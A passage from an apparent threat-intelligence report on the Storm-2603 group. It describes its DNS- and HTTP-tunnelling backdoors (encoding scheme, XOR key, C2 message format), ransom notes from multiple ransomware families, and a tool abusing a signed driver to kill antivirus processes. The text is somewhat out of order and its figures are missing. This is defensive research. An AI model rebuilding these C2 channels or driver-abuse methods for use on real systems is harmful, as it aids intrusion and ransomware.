chooses a random five-character session ID, such as H4T14, and prefixes it with 1 for task requests or 2 for result uploads (e.g., 1H4T14 or 2H4T14). Each element, such as the task/result tag, a size flag (a for “all” when the entire message fits into one request), and the computer name, is XOR‑encoded with the ASCII key “VHBD@H”, converted to hexadecimal, and concatenated with dots before being prepended to the C2 domain update.micfosoft[.]com. This what the overall query looks like: DNS TXT and MG (a mail group member record type) record lookups (DnsQuery_A) are used to transmit and retrieve data. If the C2 server is unreachable, the client simply receives error 9003 (DNS_ERROR_RCODE_NAME_ERROR). Otherwise, the response text is decoded from hex, XOR‑decrypted, and parsed for the delimiter “:::”, which separates metadata from the actual command string. Commands run under cmd.exe /c 2>&1; a built‑in directive sleep n pauses execution for n seconds. For outputs larger than 0xFF bytes, the backdoor fragments data into 63‑byte sub‑segments. Each DNS query then follows: HttpClient backdoor has the pdb path C:\Users\Administrator\Desktop\work\tools\ak47c2\httpclient-cpp\x64\Release\httpclient-cpp.pdb and uses plain HTTP instead of DNS for the C2. It is built as a 64‑bit console program that also immediately hides its window on launch. On start‑up, the malware gathers the host computer name (similar to the DNS version, it defaults to unknown.local), then builds a JSON object with the fields cmd, cmd_id, fqdn, result, and type. For a task request, the object looks like this: {"cmd":"","cmd_id":"","fqdn":" ","result":"","type":"task"} After the host executes a command, the result is sent back with type:”result”. Before transmission, the entire JSON blob is XOR‑encrypted with the ASCII key “VHBD@H”, converted to hexadecimal, and placed in the body of an HTTP POST to “/” with generic headers (Content‑Type: text/plain, Accept: */*). The C2 replies with a similarly encoded JSON where the cmd field contains the next command. The implant executes it via cmd.exe /c 2>&1 and returns the output. We identified that during these attacks, several types of ransomware were deployed simultaneously. One is regular LockBit Black, and the second uses the.x2anylock extension. This extension was later used by the Warlock ransomware operator, mentioned in Microsoft’s report on the SharePoint exploitation. The Warlock ransom note is usually saved as How to decrypt my data.txt and looks like this: Figure 3 – Warlock Group ransom note. The ransom notes for all ransomware strains deployed by Storm-2603 are named How to decrypt my data.log (x2anylock) or .README.txt (LockBit Black) and have the same short content: Your decrypt ID: [redacted] Tox ID Support: 3DCE[redacted] Email Support: [redacted]@proton.me,[redacted]@proton.me,[redacted]@proton.me You can contact us in email or qtox. This ransom note’s name How to decrypt my data.log appeared in a recent LinkedIn post by Huntress, describing the case where multiple ransomware families were deployed together against the same target. While not a new tactic, this approach is rarely observed among established ransomware groups. An important part of the infection package described earlier is called Antivirus Terminator. It is a custom command line tool abusing a third-party signed legitimate driver to kill processes. From what we can see, it’s been in the wild since at least late 2024. The tool requires administrative privileges on the infected machine. The screenshot below shows how the listing is displayed in the console when the tool is run without parameters: Figure 4 – Antivirus Terminator supported arguments when run without parameters. The tool first creates a service called ServiceMouse, where the path to the service binary file is ServiceMouse.sys from the package. Next, the tool communicates with the installed service via IO control code 0x99000050, which is responsible for killing processes. The tool also has more capabilities, like deleting files and uninstalling drivers, and these use different IO control codes (0x990000D0 and 0x990001D0). Figure 6 – Antivirus Terminator kills process using third-party driver. The supplied third-party driver is a legitimate and signed component of Antiy System In-Depth Analysis Toolkit, originally named AToolsKrnl64.sys. The toolkit was developed by Antiy Labs, a Chinese security vendor, and features a graphical user interface that allows users, among others, to interact with and manipulate processes. The ability to kill processes is the most important feature which is abused by threat actors in this particular case. Figure 7 – Antiy System In-Depth Analysis Tookit GUI. The following piece of code in the driver handles the IO control code 0x99000050 mentioned above: Figure 8 – IO control code processing in the Antiy driver. The second function is the piece of code responsible for killing a process with a given PID. In this report we analyze Storm-2603, a relatively new threat actor first mentioned by Microsoft during investigations into the “ToolShell” campaign targeting SharePoint servers. While some of the exploitation activity was tied to known Chinese APT groups, Storm-2603 stood out as a previously undocumented group linked to ransomware deployment. By examining infrastructure indicators shared in public reporting, we were able to connect this actor to earlier campaigns involving LockBit Black and Warlock/X2anylock ransomware, dating back to at least March 2025. These earlier attacks used similar infrastructure and tools, including DNS tunneling and HTTP-based backdoors. Interestingly, multiple ransomware variants were deployed in the same attack. This behavior, along with the overlap in techniques, helps us better understand how Storm-2603 operates “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.
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Aug 1, 2025